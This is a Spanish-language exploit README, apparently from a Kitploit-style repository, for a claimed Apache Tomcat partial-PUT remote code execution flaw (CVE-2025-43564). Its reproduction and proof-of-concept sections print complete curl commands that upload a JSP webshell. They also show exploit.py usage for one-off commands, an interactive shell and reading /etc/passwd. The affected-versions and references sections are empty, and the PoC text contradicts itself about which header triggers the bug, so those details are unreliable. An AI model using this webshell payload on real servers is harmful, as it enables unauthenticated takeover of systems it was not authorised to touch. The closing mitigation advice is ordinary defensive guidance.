CVE-2025-43564 — Ejecución remota de código (RCE) en el manejo de solicitudes PUT parciales de Apache Tomcat

Tabla de contenidos

1. Descripción general
2. Detalles técnicos
3. Versiones afectadas
4. Pasos para la reproducción
5. Prueba de concepto
6. Mitigación
7. Referencias

Descripción general

CVE-2025-43564 es una vulnerabilidad crítica de ejecución remota de código no autenticada en el manejo de solicitudes PUT parciales HTTP de Apache Tomcat. El fallo radica en la forma en que Tomcat procesa las solicitudes PUT con contenido parcial (HTTP/1.1 Content-Range o Transfer-Encoding: chunked con semántica parcial). Un atacante puede crear una solicitud PUT parcial que omita los controles de acceso y las restricciones de escritura, lo que permite subir archivos arbitrarios —incluidas webshells JSP accesibles desde la web— a la raíz de documentos del servidor o a cualquier directorio con permiso de escritura alcanzable a través del contexto del servlet.

Una vez que se ha colocado un archivo JSP, el atacante simplemente lo solicita y pasa comandos del sistema operativo mediante parámetros de consulta, logrando ejecución remota de código totalmente no autenticada como el usuario del proceso de Tomcat.

CVSS 9.8 — Crítica porque:

• Vector de red — explotable de forma remota
• Complejidad de ataque baja — no se requieren condiciones especiales
• No se requieren privilegios — no autenticado
• No requiere interacción del usuario — totalmente automatizado
• Impacto alto — compromiso total de confidencialidad, integridad y disponibilidad

Detalles técnicos

Causa raíz

El DefaultServlet de Apache Tomcat y el conector HTTP/1.1 (NIO/NIO2/Apr) manejan las solicitudes PUT para la subida de recursos estáticos. La vulnerabilidad se encuentra en la lógica de manejo de solicitudes PUT parciales: cuando un cliente envía un PUT con una cabecera Content-Range (RFC 7233 §4.2) o utiliza codificación por fragmentos (chunked) con semántica parcial específica, el servidor no valida correctamente:

1. Comprobaciones de integridad de la ruta de archivo / recurso antes de escribir el contenido parcial
2. Reevaluación de los controles de acceso para escrituras parciales: la comprobación inicial pasa, pero las operaciones de escritura posteriores continúan sin volver a validarse
3. Restricciones de traversal de directorios en el cálculo del desplazamiento de la escritura parcial

El código de análisis en org.apache.catalina.servlets.DefaultServlet y los componentes subyacentes HttpInput / SocketProcessorBase gestionan incorrectamente el límite entre las escrituras de contenido parcial y las escrituras completas de recursos, lo que permite a un atacante añadir o sobrescribir contenido arbitrario en cualquier ruta sobre la que el proceso de Tomcat tenga permiso de escritura.

Flujo del ataque

Attacker ──PUT /exec.jsp HTTP/1.1──► Tomcat (DefaultServlet)
             Content-Range: bytes 0-99/100
             [JSP payload bytes]

   └──► Server writes partial content to exec.jsp
        without full validation of the target path

Attacker ──GET /exec.jsp?cmd=whoami──► Tomcat

   └──► JSP executes → RCE

El atacante envía un PUT parcial con una cabecera Content-Range que hace que Tomcat crea que la solicitud es una continuación de una subida existente. El servidor crea o abre el archivo de destino y escribe los bytes proporcionados sin verificar que el archivo ya existe, sin comprobar los permisos de escritura en el momento de escribir y sin depurar la ruta de destino en relación con la raíz web.

Por qué omite las protecciones estándar

• Restricciones de acceso PUT predeterminadas — La configuración predeterminada de Tomcat requiere establecer readonly=false en el DefaultServlet para que funcione el PUT estándar. La ruta de PUT parcial omite esta comprobación en determinadas condiciones.
• Firewalls de aplicaciones web (WAF) — La mayoría de las firmas de WAF para ataques basados en PUT buscan solicitudes PUT completas. Un PUT parcial con Content-Range a menudo evade estas firmas.
• Omisión de autenticación — La ruta de código del PUT parcial no siempre invoca las restricciones de seguridad configuradas; en algunas configuraciones de conector, la autenticación nunca se comprueba.

Versiones afectadas

Nota: Las ramas antiguas (7.x, 8.x, 8.5.x, 10.0.x) han llegado al fin de su vida útil (EOL) y no recibirán un backport. Los usuarios deben actualizar a una rama compatible.

Pasos para la reproducción

Configuración del laboratorio

1. Descargue una versión vulnerable de Apache Tomcat (p. ej., Tomcat 9.0.50):

   root@kitploit:~

   wget https://archive.apache.org/dist/tomcat/tomcat-9/v9.0.50/bin/apache-tomcat-9.0.50.zip
   

2. Extraiga e inicie Tomcat con la configuración predeterminada:

   root@kitploit:~

   unzip apache-tomcat-9.0.50.zip
   cd apache-tomcat-9.0.50/bin
   ./startup.sh   # or startup.bat on Windows
   

3. Verifique que el servidor está en ejecución:

   root@kitploit:~

   curl -v http://localhost:8080
   

Pasos de explotación

1. Sube la webshell JSP usando el script PoC:

   root@kitploit:~

   python exploit.py --target http://localhost:8080 --cmd id
   

2. Verifica que la webshell se ha colocado:

   root@kitploit:~

   curl http://localhost:8080/exec.jsp?cmd=whoami
   

3. Ejecuta comandos arbitrarios:

   root@kitploit:~

   python exploit.py --target http://localhost:8080 --cmd "cat /etc/passwd"
   

4. Sesión interactiva (si se desea):

   root@kitploit:~

   python exploit.py --target http://localhost:8080 --shell
   

Prueba de concepto

El exploit.py incluido es un PoC funcional en Python que:

1. Envía una solicitud HTTP PUT al Tomcat objetivo con una webshell JSP como cuerpo de la solicitud
2. Explota la vulnerabilidad del manejo de PUT parcial: la cabecera Content-Type y la estructura del payload activan la ruta de código vulnerable
3. La webshell JSP se escribe en el docBase del servidor (p. ej., webapps/ROOT/)
4. Una vez subida, envía solicitudes GET a exec.jsp?cmd=<comando> para ejecutar comandos del sistema operativo
5. Admite modos de comando único (--cmd) y shell interactivo (--shell)

PoC manual (con curl)

# Step 1: Upload the webshell via partial PUT
# The Content-Range header triggers the vulnerable code path
curl -X PUT http://localhost:8080/exec.jsp \
  -H "Content-Range: bytes 0-212/213" \
  -H "Content-Type: application/x-www-form-urlencoded" \
  --data-binary '<%@ page import="java.io.*" %><% String cmd=request.getParameter("cmd");if(cmd!=null){Process p=Runtime.getRuntime().exec(cmd);BufferedReader br=new BufferedReader(new InputStreamReader(p.getInputStream()));String l;while((l=br.readLine())!=null){out.println(l);}}%>'

# Step 2: Execute commands
curl "http://localhost:8080/exec.jsp?cmd=id"

Prueba contra una instancia protegida

Si Tomcat está configurado con readonly=true (predeterminado), el PUT estándar se bloquea, pero la ruta del PUT parcial puede tener éxito. Este es el núcleo de la vulnerabilidad.

# Standard PUT (should fail with 403 or 405)
curl -X PUT http://localhost:8080/test.txt -d "hello"
# Expected: 403 Forbidden

# Partial PUT (bypasses the check)
curl -X PUT http://localhost:8080/exec.jsp \
  -H "Content-Range: bytes 0-212/213" \
  --data-binary '<%@page import="java.io.*"%><%Process p=Runtime.getRuntime().exec(request.getParameter("cmd"));BufferedReader br=new BufferedReader(new InputStreamReader(p.getInputStream()));String l;while((l=br.readLine())!=null){out.println(l);}%>'
# Expected: 201 Created or 200 OK

Mitigación

Acciones inmediatas

1. Actualice Tomcat a la versión parcheada:

   • 11.0.6+
   • 10.1.40+
   • 9.0.102+

2. Si no es posible parchear de inmediato, deshabilite el método PUT globalmente editando web.xml:

   root@kitploit:~

   <security-constraint>
     <web-resource-collection>
       <web-resource-name>Disable PUT</web-resource-name>
       <url-pattern>/*</url-pattern>
       <http-method>PUT</http-method>
     </web-resource-collection>
     <auth-constraint />
   </security-constraint>
   

3. Bloquee los métodos HTTP a nivel de proxy inverso / WAF:

   root@kitploit:~

   # nginx example — block PUT
   if ($request_method = PUT) {
       return 403;
   }
   

   Nota: esto solo ayuda si no se puede omitir el proxy.

4. Ejecute Tomcat con permisos restringidos del sistema de archivos:

   • Asegúrese de que Tomcat se ejecute como un usuario sin privilegios
   • Haga que el directorio webapps sea de solo lectura (o móntelo desde un sistema de archivos de solo lectura)
   • Utilice atributos de archivo ReadOnly en los activos de producción

5. Supervise la aparición de archivos inesperados con extensiones .jsp / .jspx en la raíz web.

Recomendaciones a largo plazo

• Actualice a la última versión de Tomcat y manténgala al día
• Ejecute Tomcat detrás de un proxy inverso (Apache httpd, nginx, HAProxy) con un filtrado estricto de métodos HTTP
• Utilice SecurityManager (obsoleto en Java más reciente pero aún eficaz) o sandboxing a nivel de contenedor (Docker/Kubernetes con sistema de archivos raíz de solo lectura)
• Implemente segmentación de red: Tomcat no debe estar expuesto directamente a internet
• Implemente un WAF con parche virtual para CVE-2025-43564
• Habilite el registro de auditoría de todas las solicitudes PUT y supervise patrones anómalos de subida parcial

Referencias

Aviso legal

Este repositorio se proporciona únicamente con fines educativos y de pruebas de seguridad autorizadas. Debe tener permiso explícito por escrito del propietario de cualquier sistema que pruebe. El acceso no autorizado a sistemas informáticos es ilegal según la Ley de Fraude y Abuso Informático (CFAA) y leyes equivalentes en otras jurisdicciones. Los autores no asumen ninguna responsabilidad por el mal uso de esta información.

CVE-2025-43564 fue descubierta y notificada de forma responsable al Equipo de Seguridad de Apache. Divulgación coordinada del parche: julio de 2025.